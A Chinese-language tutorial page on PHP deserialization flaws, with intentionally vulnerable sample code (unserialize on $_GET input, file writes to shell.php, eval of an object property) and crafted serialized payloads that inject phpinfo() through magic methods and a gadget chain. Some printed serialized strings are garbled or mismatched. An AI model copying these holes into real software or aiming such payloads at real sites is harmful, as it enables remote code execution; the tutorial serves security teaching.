5. 通过PHP反序列化进行远程代码执行
php序列化与反序列化
最近准备复现一下ecshop2.x,3.x的注入漏洞,其中涉及到了php反序列化的问题,由于之前太小白
,导致粗心大意,所以此对php反序列化漏洞进行更详细的分析。
提起php序列化与反序列化不得不说两个函数是:serialize() 和 unserialize()。
serialize()
当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下:
<?php
class bmjoker{
var $test = '';
}
$class1 = new bmjoker;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
这边我们创建了一个新的对象,并且将其序列化后的结果打印出来:
O::"bmjoker"::{s::"test";s::"";}
unserialize()
与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)。
<?php
class bmjoker{
var $test = '';
}
$class2 = 'O:7:"bmjoker":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_ser);
?>
这边我们把序列化后的结果恢复成为对象,并且将其打印出来:
O::"bmjoker"::{s::"test";s::"";}
bmjoker Object ( [test] => )
这里提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。
反序列化漏洞
由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
利用构造函数等
Magic function
php中有一类特殊的方法叫“Magic function”, 这里我们着重关注一下几个:
- 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
- 析构函数__destruct():当对象被销毁时会自动调用。
- __wakeup() :如前所提,unserialize()时会自动调用。
测试如下:
<?php
class bmjoker{
var $test = '';
function __wakeup()
{
echo "__wakeup()函数被调用";
echo "</br>";
}
function __construct()
{
echo "__construct()函数被调用";
echo "</br>";
}
function __destruct()
{
echo "__destruct()函数被调用";
echo "</br>";
}
}
$class2 = 'O:7:"bmjoker":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>
我们运行php文件,来证明函数被调用:
应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都被调用,如果这些函数里面包含的是恶意代码会怎么样呢?
利用场景
__wakeup() 或__destruct()
由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。
基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把$test的写入到shell.php中。为此我们写个php脚本:
<?php
class bmjoker{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class4 = new bmjoker();
$class4->test = "<?php phpinfo(); ?>";
$class4_ser = serialize($class4);
print_r($class4_ser);
print("<br>");
$class5_unser = unserialize($class4_ser);
print_r($class5_unser);
?>
由此得到序列化结果:
O::"chybeta"::{s::"test";s::"<?php phpinfo();?>";}
运行结果:
我们再来看shell.php:
成功的利用反序列化漏洞来得到phpinfo()信息
不过具体的环境多是像下面代码这样,我们的test是我们可控的参数
<?php
class bmjoker{
var $test = '';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
我们传入参数 test=O:7:"bmjoker":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
同时shell.php也成功写入:
成功利用php反序列化漏洞
其他Magic function的利用
但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的__construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
<?php
class joker{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class bmjoker{
var $test = '';
function __wakeup(){
$obj = new joker($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()函数,从而在new joker()会自动调用对象joker中的__construct()方法,从而把<?php phpinfo();?>写入到shell.php中:
同样shell.php也成功写入。
利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。
<?php
class lmjoker{
var $test;
function __construct() {
$this->test = new bmjoker();
}
function __destruct() {
$this->test->action();
}
}
class bmjoker{
function action() {
echo "bmjoker";
}
}
class cmjoker{
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new lmjoker();
unserialize($_GET['test']);
?>
本意上,new一个新的lmjoker对象后,调用__construct(),其中又new了bmjoker对象。在结束后会调用__destruct(),其中会调用action(),从而输出 bmjoker。
下面是利用过程。构造序列化:
<?php
class lmjoker{
var $test;
function __construct() {
$this->test = new cmjoker();
}
}
class cmjoker{
var $test2 = "phpinfo();";
}
echo serialize(new lmjoker());
?>
得到:
O::"lmjoker"::{s::"test";O::"cmjoker"::{s::"test2";s::"phpinfo();";}}
传给test.php的test参数,利用成功:
参考链接:
https://blog.csdn.net/qq_32400847/article/details/53873275
5. 通过PHP反序列化进行远程代码执行的更多相关文章
- Java反序列化与远程代码执行
https://mp.weixin.qq.com/s/asQIIF8NI_wvur0U0jNvGw 原创: feng 唯品会安全应急响应中心 2017-09-19 https://mp.weixin. ...
- 【原创】Dubbo 2.7.8多个远程代码执行漏洞
马上年底了,发现年初定的几个漏洞的KPI还没来得及完成,趁着最近有空赶紧突击一波,之前业务部门被爆过Dubbo的漏洞,干脆就把Dubbo拖过来挖一把.之前没用过Dubbo,既然要挖它就先大体了解了一下 ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- 高危!Fastjson反序列化远程代码执行漏洞风险通告,请尽快升级
据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞.攻击者可利用上述漏洞实施任意文件写入.服务端请求伪造等攻击行为,造成服务器权限被窃取.敏感信 ...
- Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程
v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...
- Fastjson 爆出远程代码执行高危漏洞,更新版本已修复
fastjson近日曝出代码执行漏洞,恶意用户可利用此漏洞进行远程代码执行,入侵服务器,漏洞评级为“高危”. 基本介绍fastjson 是一个性能很好的 Java 语言实现的 JSON 解析器和生成器 ...
- Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现
0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...
- CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
- 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
随机推荐
- 【BZOJ4012】[HNOI2015]开店 动态树分治+二分
[BZOJ4012][HNOI2015]开店 Description 风见幽香有一个好朋友叫八云紫,她们经常一起看星星看月亮从诗词歌赋谈到人生哲学.最近她们灵机一动,打算在幻想乡开一家小店来做生意赚点 ...
- Webpack探索【16】--- 懒加载构建原理详解(模块如何被组建&如何加载)&源码解读
本文主要说明Webpack懒加载构建和加载的原理,对构建后的源码进行分析. 一 说明 本文以一个简单的示例,通过对构建好的bundle.js源码进行分析,说明Webpack懒加载构建原理. 本文使用的 ...
- .net概念(转)
你主要想问.Net和Java的差异在哪里 Java是开发语言 .Net叫开发平台 但事实上你管Java叫开发平台也没错 平台就是一个供你在上面进行开发的平台 (英语叫Framework,也可以翻译成“ ...
- X86汇编 BT
位操作指令位操作指令包括位测试和位扫描指令,可以直接对一个二进制位进行测试,设置和扫描. 1位测试和设置指令 格式:BT DEST,SRC BTC DEST,SRC BTR DEST,SRC BTS ...
- Java for LeetCode 111 Minimum Depth of Binary Tree
Given a binary tree, find its minimum depth. The minimum depth is the number of nodes along the shor ...
- NMEA码详解【转】
本文转载自:http://m.2cto.com/kf/201610/556695.html GPS数据遵循NMEA-0183协议,该数据标准是由NMEA(National Marine Electro ...
- consider increasing the maximum size of the cache.
虚拟机上搭建jenkins,出现unable to free [10] percent of the cache for Context [/jenkins] 提示让我加大缓存 consider in ...
- 加州小学grade1,学习计划
Visual vocabulary Grammar Spelling Maths Chapter 1 Patterns and Number SenseChapter 2Understanding A ...
- spring的了解以及简单框架的搭建
了解spring: Spring是一个开源的控制反转(Inversion of Controller)和面向切面(AOP)的框架,目的是为了简化开发. IOC(控制反转): public class ...
- C/C++协程的实现方式总结
1.利用 C 语言的 setjmp 和 longjmp,函数中使用 static local 的变量来保存协程内部的数据. 函数原型:int setjmp(jmp_buf envbuf); void ...